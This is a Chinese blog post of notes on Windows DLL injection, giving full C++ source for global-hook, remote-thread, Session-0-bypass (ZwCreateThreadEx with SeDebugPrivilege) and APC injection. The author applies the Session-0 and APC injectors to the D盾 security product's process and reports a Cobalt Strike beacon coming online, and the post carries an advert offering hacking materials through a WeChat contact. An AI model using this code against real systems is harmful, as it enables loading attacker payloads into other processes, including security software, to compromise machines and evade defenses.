Windows注入技术笔记

全局钩子注入

Windows中的大部分应用程序依赖于消息机制,其中含有消息过程函数,而Windows操作系统的钩子机制用于截获和监视系统中的消息。

依据钩子的作用范围,可以分为局部钩子和全局钩子:

  • 局部钩子:针对某个线程

  • 全局钩子:作用于整个系统的消息

WinAPI介绍

关于全局钩子注入Win32 API介绍:

HHOOK WINAPI SetWindowsHookEx{
    _In_ int idHook,        // 钩子程序类型
    _In_ HOOKPROC lpfn,     // 指向钩子程序的函数指针
    _In_ HINSTANCE hMod,    // 已加载的DLL或EXE实例的句柄,HMODULE句柄是通过LoadLibrary或GetModuleHandle等函数加载模块时返回
    _In_ DWORD dwThreadId   // 与钩子相关的线程标识符,如果参数为0表示与系统中所有线程相关联
}
// 返回值:
// 设置成功则返回钩子过程的句柄
// 设置失败则返回值为NULL

将程序定义的钩子函数(HOOKPROC lpfn)安装到挂钩链中,安装钩子程序可以监视系统是否存在某些类型的事件,这些事件与特定线程或调用线程所在桌面中的所有线程相关联

操作过程

生成DLL文件

新建一个DLL空项目

预编译头pch.h中设置

该文件是预编译标头文件,仅仅编译一次

#ifndef PCH_H
#define PCH_H
​
// 添加要在此处预编译的标头
#include "framework.h"
// 设置钩子函数
extern "C" _declspec(dllexport) int SetHook();  
// 钩子回调函数
extern "C" _declspec(dllexport) LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam);
// 卸载钩子函数
extern "C" _declspec(dllexport) BOOL UnsetHook();
#endif //PCH_H

在pch.cpp文件中实现上述函数

// pch.cpp: 与预编译标头对应的源文件
​
#include "pch.h"
#include <Windows.h>
#include <stdio.h>
​
// 当使用预编译的头时,需要使用此源文件,编译才能成功。
​
extern HMODULE g_hDllModule;    // 已经加载的DLL的句柄
​
// 为DLL创建一个数据段,然后再对程序的链接器进行设置,把指定的数据段链接为共享数据段
#pragma data_seg("mydata")  // 相当于use mydata的这种感觉
HHOOK g_hHook = NULL;       // Hook句柄(注意与HMODULE的区别)
#pragma data_seg()          // 恢复默认的数据段设置
#pragma comment(linker, "/SECTION:mydata,RWS")  // 告诉链接器设置为RWS
​
// 回调函数
LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam) {
    return ::CallNextHookEx(g_hHook, code, wParam, lParam); 
    // 将当前钩子传递给钩子链中的下一个钩子
}
​
// 设置钩子
BOOL SetHook() {
    g_hHook = SetWindowsHookEx(WH_GETMESSAGE,
        (HOOKPROC)GetMsgProc, g_hDllModule, 0);
    if (g_hHook == NULL) {
        return FALSE;
    }
    return TRUE;
}
​
// 卸载钩子
BOOL UnsetHook() {
    if (g_hHook)
    {
        // 直接 :: 表示从全局作用域解析
        ::UnhookWindowsHookEx(g_hHook);
    }
    return TRUE;
}

然后在DLL的入口文件dllmain.cpp中设置

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
​
HMODULE g_hDllModule = NULL;
​
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:    // 由于进程启动或调用LoadLibrary, DLL被加载到当前进程的虚拟地址空间中, 会进入如下路由
    {
        g_hDllModule = hModule;
        break;
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

在Release,X86下生成:

image-20240127220704720

可以发现对应文件夹下生成dll文件

image-20240127220737886

测试

新建一个CPP空项目

// 全局钩子注入
#include <iostream>
#include <Windows.h>
​
int main()
{
    // 声明函数指针, 返回值为BOOL, 参数值为空
    typedef BOOL(*typedef_SetGlobalHook)();
    typedef BOOL(*typedef_UnsetGlobalHook)();
    
​
    HMODULE hDll = NULL;        // DLL句柄
    typedef_SetGlobalHook SetGlobalHook = NULL; // 设置全局钩子的句柄
    typedef_UnsetGlobalHook UnsetGlobalHook = NULL; // 卸载全局钩子的句柄
    BOOL bRet = FALSE;
​
    do {
        // 加载DLL,获得句柄实例
        hDll = ::LoadLibraryW(TEXT("C:\\Users\\xx\\source\\repos\\DLLInjection\\Release\\DLLInjection.dll"));
        // 异常检测
        if (hDll == NULL) {
            printf("LoadLibrary Error[%d]\n", ::GetLastError());
            break;
        }
        
        // 从hDll句柄对应文件中加载SetHook地址,并把该地址位置上的数据视为typedef_SetGlobalHook函数(返回函数指针)
        SetGlobalHook = (typedef_SetGlobalHook)::GetProcAddress(hDll, "SetHook");
        if (SetGlobalHook == NULL) {
            printf("GetProcAddress Error[%d]\n", ::GetLastError());
            break;
        }
​
        bRet = SetGlobalHook();     // 运行函数 -- 设置全局钩子
        if (bRet) {
            printf("SetGlobalHook OK.\n");
        }
        else {
            printf("SetGlobal Hook Error.\n");
        }
​
        system("pause");
        
        // 同理获取卸载全局钩子
        UnsetGlobalHook = (typedef_UnsetGlobalHook)::GetProcAddress(hDll, "UnsetHook");
        if (UnsetGlobalHook == NULL) {
            printf("GetProcAddress Error[%d]\n", ::GetLastError());
            break;
        }
        
        // 卸载全局钩子
        UnsetGlobalHook();
        printf("UnsetGlobalHook OK. \n");
    } while (FALSE);
​
    system("pause");
    return 0;
}
​

image-20240127223514057

远程线程注入

远线程注入是指一个进程在另一个进程中创建线程的技术

【----帮助网安学习,以下所有学习资料免费领!加vx:YJ-2021-1,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

核心函数主要如下:

  • LoadLibrary:将指定的DLL文件动态加载到进程空间

  • CreateRemoteThread:在目标进程的虚拟地址空间中创建运行的线程

大致原理:

  • 获得LoadLibrary函数的地址

    虽然Windows的ASLR机制会使得LoadLibrary在每次开机时的地址不同,但对于同个时候Windows的kernel32.dll的加载基址在各个进程中都是相同的,因此LoadLibrary也是相同的。

  • 写入注入的DLL路径字符串

    通过OpenProcess打开进程获得句柄,然后调用VirtualAllocEx在目标进程中申请一块内存空间,再调用WriteProcessMemory将恶意DLL路径写入到目标进程的空间地址中

WinAPI介绍

  • OpenProcess

打开现有的本地进程,获得句柄

HANDLE WINAPI OpenProcess(
    _In_ DWORD dwDesiredAccess,     // 
    _In_ BOOL bInheritHandle,       // True => 将继承原本进程中已有的句柄
    _In_ DWORD dwProcessId      // 要打开的进程PID
)
  • VirtualAllocEx

对指定进程的虚拟地址空间内保留、提交或更改内存的状态

LPVOID WINAPI VirtualAllocEx(
    _In_ HANDLE  hProcess,  // 进程句柄,句柄必须具有PROCESS_VM_OPERATION的权限
    _In_opt_ LPVOID lpAddress,  // 指定要分配页面所需起始地址的指针,如果为NULL则表示自动分配内存
    _In_ SIZE_T dwSize, // 分配的内存大小,以字节为单位
    _In_ DWORD flAllocationType,    // 内存分配类型
    _In_ DWORD flProtect    // 要分配的页面区域的内存保护类型
)
  • WriteProcessMemory

在指定进程的指定可访问的内存区域写入数据

BOOL WINAPI WriteProcessMemory(
    _In_ HANDLE hProcess,   // 目标进程的句柄
    _In_ LPVOID lpBaseAddress,  // 要写入数据的内存区域的基地址
    _In_ LPCVOID lpBuffer,  // 存储数据的缓冲区的基地址
    _In_ SIZE_T nSize,  // 要写入的字节数
    _Out_ SIZE_T *lpNumberOfBytesWritten
)
    // 成功则返回值不为NULL
  • CreateRemoteThread

在指定进程中创建运行的线程

HANDLE WINAPI CreateRemoteThread(
    _In_    HANDLE  hProcess,   // 目标进程的句柄
    _In_    LPSECURITY_ATTRIBUTES   lpThreadAttributes, // 指向SECURITY_ATTRIBUTES结构的指针,指定了新线程的安全描述符,并确定了子进程是否可以继承返回的句柄
    _In_    SIZE_T  dwStackSize,    // 堆栈的初始大小
    _In_    LPTHREAD_START_ROUTINE  lpStartAddress,     // 指向由线程执行类型为LPTHREAD_START_ROUTINE的应用程序定义的函数指针,并表示了远程进程的起始地址,该函数必须存在于远程进程中
    _In_    LPVOID  lpParameter,    // 指向要传递给线程函数的变量的指针
    _In_    DWROD   dwCreationFlags,    // 控制线程创建的标志,若为0则表示线程在创建后立即执行
    _Out_   LPDWORD lpThread    // 指向了接收线程标识的变量的指针,如果此参数为NULL,则不返回线程标识符
)

操作过程

生成DLL文件

dllmain.cpp文件

#include "pch.h"
​
BOOL APIENTRY DllMain(
    HMODULE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call) 
    {
        case DLL_PROCESS_ATTACH:
            MessageBox(NULL, L"success!", L"RemoteThreadInjection", MB_OK);
        case DLL_THREAD_ATTACH:
            MessageBox(NULL, L"success!", L"RemoteThreadInjection", MB_OK);
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    };
    return TRUE;
​
}

然后直接生成dll

测试

核心函数在于远程线程注入_RemoteThreadInjection中:

  • 函数原型设计:我们需要得知远程线程注入的目标进程PID以及执行线程的对应DLL文件位置(采用宽字符串)

DWORD _RemoteThreadInjection(DWORD _Pid, LPCWSTR DllName)
  • OpenProcess打开进程获得句柄

hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
// 异常检查
if (hprocess == NULL) {
    printf("OpenProcess Error\n");
    return FALSE;
}
  • VirtualAllocEx API申请内存,该内存存储

_tcslen(DllName)截取的宽字符串长度不包括字符串终止符,所以需要加1,并乘上宽字符的大小以计算出字节数

// 在注入的进程中申请内存
_Size = (_tcslen(DllName) + 1) * sizeof(TCHAR);
pDllAddr = ::VirtualAllocEx(hprocess,NULL,_Size,
    MEM_COMMIT, PAGE_READWRITE);    
    // 第二个参数表示分配页面所需起始地址的指针
    // 第四个参数是指内存分配类型,MEM_COMMIT表示在磁盘的分页文件和整体内存中,为指定的预留内存页分配内存
    // 第五个参数表示要分配的页面区域的内存保护,如果yem
​
if (pDllAddr == NULL) {
    printf("Process Memory Allocation Error\n");
    return FALSE;
}
  • 申请完之后就是使用WriteProcessMemory写数据

BOOL isWriteSuccess = ::WriteProcessMemory(hprocess, pDllAddr, DllName, _Size, NULL);
  • 获取LoadLibraryW的地址

pThread = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"),"LoadLibraryW");
  • 创建线程,并传入参数

hThread = ::CreateRemoteThread(hProcess, NULL, 0, addr, pDllAddr, 0, NULL);
  • 释放资源等操作

完整源码:

// 远程线程注入
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include "tchar.h"      // 宽字符
​
char DLL_PATH[] = "C:\\Users\\xx\\source\\repos\\DLLInjection\\Release\\DLLInjection.dll";
​
​
// LPCWSTR: long pointer to a wide string 
DWORD _RemoteThreadInjection(DWORD _Pid, LPCWSTR DllName) {
    // 变量声明
    HANDLE hprocess;    // 目标进程的句柄
    HANDLE hThread;
    DWORD _Size = 0;
    BOOL Write = 0;
    LPVOID pDllAddr = NULL;     // 申请内存空间
    DWORD DllAddr = 0;
    FARPROC pThread;
​
    // 打开进程
    hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
    // 异常检查
    if (hprocess == NULL) {
        printf("OpenProcess Error\n");
        return FALSE;
    }
    
    // 在注入的进程中申请内存
    _Size = (_tcslen(DllName) + 1) * sizeof(TCHAR);
    pDllAddr = ::VirtualAllocEx(hprocess,NULL,_Size,
        MEM_COMMIT, PAGE_READWRITE);    
        // 第二个参数表示分配页面所需起始地址的指针
        // 第四个参数是指内存分配类型,MEM_COMMIT表示在磁盘的分页文件和整体内存中,为指定的预留内存页分配内存
        // 第五个参数表示要分配的页面区域的内存保护,如果yem
​
    if (pDllAddr == NULL) {
        printf("Process Memory Allocation Error\n");
        return FALSE;
    }
​
    // 向申请的内存写入数据
    BOOL isWriteSuccess = ::WriteProcessMemory(hprocess, pDllAddr, DllName, _Size, NULL);
    if (isWriteSuccess == FALSE) {
        printf("Write Process Memory Error\n");
        return FALSE;
    }
​
    // 获取LoadLibraryW(支持宽字符)函数地址
    pThread = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
    LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread;  
        // LPTHREAD_START_ROUTINE 是一个函数指针类型,用于指定线程的入口点函数
​
    // 在目标进程中创建线程
    hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pDllAddr, 0, NULL);
        // hprocess指向了目标进程
        // addr表示LoadLibrary的LPTHREAD_START_ROUTINE函数指针
        // pDllAddr表示传递给线程函数的变量的对应的指针(传给LoadLibrary的变量)
    if (hThread == NULL) {
        printf("Create Remote Thread Error\n");
        return FALSE;
    }
    
    //等待线程函数结束,获得退出码
    WaitForSingleObject(hThread, -1);
    GetExitCodeThread(hThread, &DllAddr);
​
    // 释放DLL空间
    VirtualFreeEx(hprocess, pDllAddr, _Size, MEM_DECOMMIT);
​
    // 关闭句柄
    ::CloseHandle(hprocess);
    return TRUE;
}
​
int main() {
    DWORD _PID = 1220;      // 根据实际进程的PID填入
    _RemoteThreadInjection(_PID, L"C:\\Users\\xx\\source\\repos\\DLLInjection\\Release\\DLLInjection.dll");
}
​
​

注入之前:

image-20240129154125529

注入之后:可以观察到其实不止多了DLLInjection.dll文件

image-20240129154201976

image-20260719141347276

突破SESSION 0 隔离的远线程注入

在远程线程注入中,将目标进程改为一些系统服务进程时会发现失败,这是由于存在SESSION 0隔离的安全机制,传统的远程线程注入并不能突破SESSION 0隔离

image-20240129154717719

Session 0隔离机制

参考:https://techcommunity.microsoft.com/t5/ask-the-performance-team/application-compatibility-session-0-isolation/ba-p/372361?ranMID=46131&ranEAID=a1LgFw09t88&ranSiteID=a1LgFw09t88-sZl3oC8zh0wtsoCoffRIew&epi=a1LgFw09t88-sZl3oC8zh0wtsoCoffRIew&irgwc=1&OCID=AIDcmm549zy227_aff_7806_1243925&tduid=(ir__9uapagd1yckfdy1ee922gm0muf2x9ijmfkvrdmhp00)(7806)(1243925)(a1LgFw09t88-sZl3oC8zh0wtsoCoffRIew)()&irclickid=_9uapagd1yckfdy1ee922gm0muf2x9ijmfkvrdmhp00

在早期Windows版本中(WinXP,WinServer2003以及之前),所有服务都与登录到控制台的第一个用户(超级管理员)处于同一个会话中,该会话即所谓的Session 0,此时其他非系统服务等同于拥有超级管理员权限来执行,那么此时遭遇劫持就直接最高权限了。

此后在Windows内核6.0版本后引入了Session 0隔离机制,只有系统进程和服务才会处于session 0中运行,用户登录到会话1,后续用户登录到2,3 ...

Session 0隔离机制使得当创建一个进程后不立即执行,而是先挂起进程,在查看运行的进程所在的会话层之后再决定是否恢复进程运行。

image-20260719141716947

WinAPI介绍

原理与远程线程注入的原理大致相同,但是使用的WinAPI是比CreateRemoteThread更为底层的ZwCreateThreadEx函数来创建线程

// win64
DWORD WINAPI ZwCreateThreadEx{
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    LPVOID ObjectAttributes,
    HANDLE ProcessHandle,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    ULONG CreateThreadFlags,
    SIZE_T ZeroBits,
    SIZE_T StackSize,
    SIZE_T MaximumStackSize,
    LPVOID pUnkown
}
​
// win32
DWORD WINAPI ZwCreateThreadEx{
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    LPVOID ObjectAttributes,
    HANDLE ProcessHandle,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    BOOL CreateSuspended,
    DWORD dwStackSize,
    DWORD dw1,
    DWORD dw2,
    LPVOID pUnknown
}
​
​
​

操作过程

// 突破session 0隔离机制注入DLL
​
#include <Windows.h>
#include <stdio.h>
#include <iostream>
//#include "tchar.h"
​
​
// 使用typedef对ZwCreateThreadEx创建函数指针
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    LPVOID ObjectAttributes,
    HANDLE ProcessHandle,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    ULONG CreateThreadFlags,
    SIZE_T ZeroBits,
    SIZE_T StackSize,
    SIZE_T MaximumStackSize,
    LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    LPVOID ObjectAttributes,
    HANDLE ProcessHandle,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    BOOL CreateSuspended,
    DWORD dwStackSize,
    DWORD dw1,
    DWORD dw2,
    LPVOID pUnkown);
#endif
​
​
​
​
​
BOOL EnableDebugPrivilege()
{
    HANDLE hToken;
    BOOL flag = FALSE;
    // OpenProcessToken 打开与进程关联的token
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
    {
        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount = 1;
        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
        
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
​
        int valueGetLastError = GetLastError();
​
        flag = (valueGetLastError == ERROR_SUCCESS);
        CloseHandle(hToken);
    }
    return flag;
}
​
​
​
BOOL BypassSession0Injection(DWORD _PID, const char* DLLPath) {
    // 变量声明
    HANDLE hProcess = NULL;
    SIZE_T dwSize = 0;
    LPVOID pDllAddr = NULL;
    FARPROC LoadLibraryA_Addr = NULL;
    HANDLE hRemoteThread = NULL;        // 远程线程
    DWORD dwStatus = 0;
    
    // 提权 -- 启用SeDebugPrivilege权限
    //BOOL isPrivieged = EnableDebugPrivilege();
    //if (isPrivieged == FALSE) {
    //    printf("Can't get SeDebugPrivilege!\n");
    //    return FALSE;
    //}
​
                        // 由于具有SeDebugPrivilege,所以可以对系统服务设置为PROCESS_ALL_ACCESS
    hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _PID);
    if (hProcess == NULL) {
        printf("Open Process Error!\n");
        return FALSE;
    }
​
    // 申请内存
        // 申请内存的大小
    dwSize = ::strlen(DLLPath) + 1;
            // ::lstrlen    对于宽字符串
            // ::strlen    对于字符串
        // 申请,返回基地址
    pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
​
    if (pDllAddr == NULL) {
        printf("Virtual Allocation Error\n");
        return FALSE;
    }
    
​
    // 写入DLL路径
    BOOL isWriteSuccess = ::WriteProcessMemory(hProcess, pDllAddr, DLLPath, dwSize, NULL);
    if (isWriteSuccess == FALSE) {
        printf("Write Process Memory Error\n");
        return FALSE;
    }
​
    // 加载ntdll.dll
    HMODULE hNtdDll = ::LoadLibrary(L"ntdll.dll");
​
    if (hNtdDll == NULL)
    {
        printf("Load ntdll.dll Error\n");
    }
​
    // 获取LoadLibraryA函数地址
    LoadLibraryA_Addr = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
​
    if (LoadLibraryA_Addr == NULL)
    {
        printf("Get the address of LoadLibrary Error!\n");
        return FALSE;
    }
​
​
    // 获得ZwCreateThreadEx函数地址
        // 使用函数指针类型的变量来接收
    typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdDll, "ZwCreateThreadEx");
    
    if (ZwCreateThreadEx == NULL) {
        printf("Get the address of LoadLibrary Error!\n");
        return FALSE;
    }
​
​
    // 使用ZwCreateThreadEx创建远程线程,实现DLL注入
    dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS,
        NULL, hProcess, (LPTHREAD_START_ROUTINE)LoadLibraryA_Addr, pDllAddr,
        0, 0, 0, 0, NULL);
​
    if (hRemoteThread == NULL) {
        printf("ZwCreateThread Error!\n");
        return FALSE;
    }
​
​
    // 关闭句柄
    ::CloseHandle(hProcess);        // 对于HANDLE
    ::FreeLibrary(hNtdDll);         // 对于HModule
    
    return TRUE;
}
​
​
int main()
{
​
#ifdef _WIN64
    BOOL flag = BypassSession0Injection(3788, "C:\\Users\\xx\\source\\repos\\DLLInjection\\Release\\DLLInjection.dll");
#else
    BOOL flag = BypassSession0Injection(4740, "C:\\Users\\xx\\Desktop\\artifact_x86.dll");
#endif
    if (flag == FALSE) {
        MessageBox(NULL, L"fail!", L"BypassSession0Injection", MB_OK);
    }
    else {
        MessageBox(NULL, L"success!", L"BypassSession0Injection", MB_OK);
    }
    return 0;
}

选择D盾开刀

image-20240129225520558

CS上线

image-20260719134812263

APC注入

APC机制

在Windows系统中,APC机制是一种并发机制,用于异步IO或者定时器,每个线程都会维护一个线程APC队列,通过QueueUserAPC函数把一个APC函数压入APC队列中。当处于用户模式的APC压入线程APC队列后,该线程并不直接调用APC函数,除非该函数处于可通知的状态,调用顺序为先入先出。

WinAPI介绍

QueueUserAPC函数:将用户模式中的异步过程调用(APC)对象添加到指定线程的APC队列中

DWORD WINAPI QueueUserAPC(
    _In_ PAPCFIMC pfnAPC,
    _In_ HANDLE hThread,
    _In_ ULONG_PTR dwData
)   

操作过程

  • 通过OpenProcess函数打开目标进程,获取目标进程的句柄

  • 遍历线程快照,获取所有线程ID

  • 调用VirtualAllocEx函数在目标进程中申请内存,再调用WriteProcessMemory写入DLL路径

  • 遍历获取的线程ID,并调用OpenThread函数以THREAD_ALL_ACCESS访问权限打开线程,获取线程句柄

    并调用QueueUserAPC函数向每个线程插入APC函数,设置APC函数的地址为LoadLibraryA函数的地址,APC函数参数为上述DLL路径地址

  • 唤醒任意线程,即可执行APC,完成DLL的APC注入

// APCInjection.cpp
​
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
​
​
void PrintError(const char* errContext) {
    char Error[MAX_PATH] = { 0 };
    ::sprintf_s(Error, "%s Error[%d]\n", errContext, ::GetLastError());
    ::MessageBoxA(NULL, Error, "ERROR", MB_OK);
}
​
​
// 获取指定进程的所有线程
BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength) {
​
    // 申请空间
    DWORD dwThreadIdListLength = 0;     // 线程数组的索引
    DWORD dwThreadIdListMaxCount = 2000;    // 最大线程数
    LPDWORD pThreadIdList = NULL;   // 链表的头部
        // LPDWORD: 指向DWORD的指针
    HANDLE hThreadSnap = INVALID_HANDLE_VALUE;  // 线程句柄
        
    pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
                                    // NULL未指定起始地址
    if (pThreadIdList == NULL) {
        return FALSE;
    }
​
    // 初始化为0
    RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));
​
    THREADENTRY32 th32 = { 0 };
​
    // 拍摄快照
    hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);
​
    if (hThreadSnap == INVALID_HANDLE_VALUE)
    {
        return FALSE;
    }
​
    // 结构的大小
    th32.dwSize = sizeof(THREADENTRY32);
​
​
    // 遍历所有THREADENTRY32结构,按顺序填入数组
    BOOL bRet = Thread32First(hThreadSnap, &th32);
    while(bRet)
    {
        if(th32.th32OwnerProcessID == th32ProcessID)
        {
            if (dwThreadIdListLength >= dwThreadIdListMaxCount)
            {
                break;
            }
            pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
        }
        bRet = Thread32Next(hThreadSnap, &th32);
    }
​
    *pThreadIdListLength = dwThreadIdListLength; // 捕获的线程快照个数
    *ppThreadIdList = pThreadIdList; // 线程地址的数组
​
    return TRUE;
​
}
​
​
BOOL APCInjection(HANDLE hProcess, CHAR* wzDLLFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength)
{               // (指定进程, DLL路径, 线程链表的头部, 链表长度)
                        
    // 申请内存
    PVOID lpAddr = NULL;
    SIZE_T page_size = 4096;
​
    lpAddr = ::VirtualAllocEx(hProcess, NULL, page_size, 
        MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
    if (lpAddr == NULL)
    {
        PrintError("VirtualAllocEx - Error\n\n");
        // 释放空间
        VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
        // 关闭
        CloseHandle(hProcess);
        return FALSE;
    }
    
    // 将DLL路径写入到内存中
    BOOL isWriteSuccess = ::WriteProcessMemory(hProcess, lpAddr,
        wzDLLFullPath, (strlen(wzDLLFullPath) + 1) * sizeof(wzDLLFullPath), NULL);
​
    if (isWriteSuccess == FALSE)
    {
        PrintError("WriteProcessMemory - Error\n\n");
        VirtualFreeEx(hProcess, lpAddr, page_size, MEM_COMMIT);
        CloseHandle(hProcess);
        return FALSE;
    }
​
    // 获得LoadLibraryA的地址
    PVOID LoadLibraryAddress = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
        // PVOID: void*
​
    // 遍历线程链表, 插入APC
    float fail = 0;
    for (int i = dwThreadIdListLength - 1; i >= 0; i--) {
        HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
        if (hThread)
        {
            // 插入APC
            if (!::QueueUserAPC((PAPCFUNC)LoadLibraryAddress, hThread, (ULONG_PTR)lpAddr)) {
                fail++;
            }
            // 关闭线程句柄
            ::CloseHandle(hThread);
            hThread = NULL;
        }
    }
​
    printf("Total Thread: %d\n", dwThreadIdListLength);
    printf("Total Failed: %d\n", (int)fail);
​
    float FailRate = dwThreadIdListLength / fail;
​
    if ((int)fail == 0 || FailRate > 0.5) {
        printf("Successful! APC Injection!\n");
        return TRUE;
    }
    else {
        printf("Fail!\n");
        return FALSE;
    }
​
}
​
​
int main()
{
    
    DWORD PID = 10544;
    CHAR wzDllFullPath[MAX_PATH] = { 0 };
    LPDWORD pThreadIdList = NULL;
    DWORD dwThreadIdListLength = 0;
​
#ifdef _WIN64
    strcpy_s(wzDllFullPath, "C:\\Users\\xx\\Desktop\\artifact_x86_apc.dll");
#else
    strcpy_s(wzDllFullPath, "C:\\Users\\xx\\Desktop\\artifact_x86_apc.dll");
#endif
​
    BOOL isGetProcessThreadList = GetProcessThreadList(PID, &pThreadIdList, &dwThreadIdListLength);
    if (!isGetProcessThreadList)
    {
        printf("Can't list the threads\n");
        exit(0);
    }
​
    // 打开句柄
    HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, PID);
​
    if (hProcess == NULL) {
        printf("Failed to open Process\n");
        return FALSE;
    }
​
    // 注入
    BOOL isInjectSuccess = APCInjection(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength);
    if (!isInjectSuccess) {
        printf("Failed to inject DLL\n");
        return FALSE;
    }
​
    return 0;
    
}

拿D盾开刀:

image-20240131153206368

还是CS上线

image-20260719135011798

更多网安技能的在线实操练习,请点击这里>>

 

posted @ 2026-07-23 14:21  蚁景网安实验室  阅读(15)  评论(0)    收藏  举报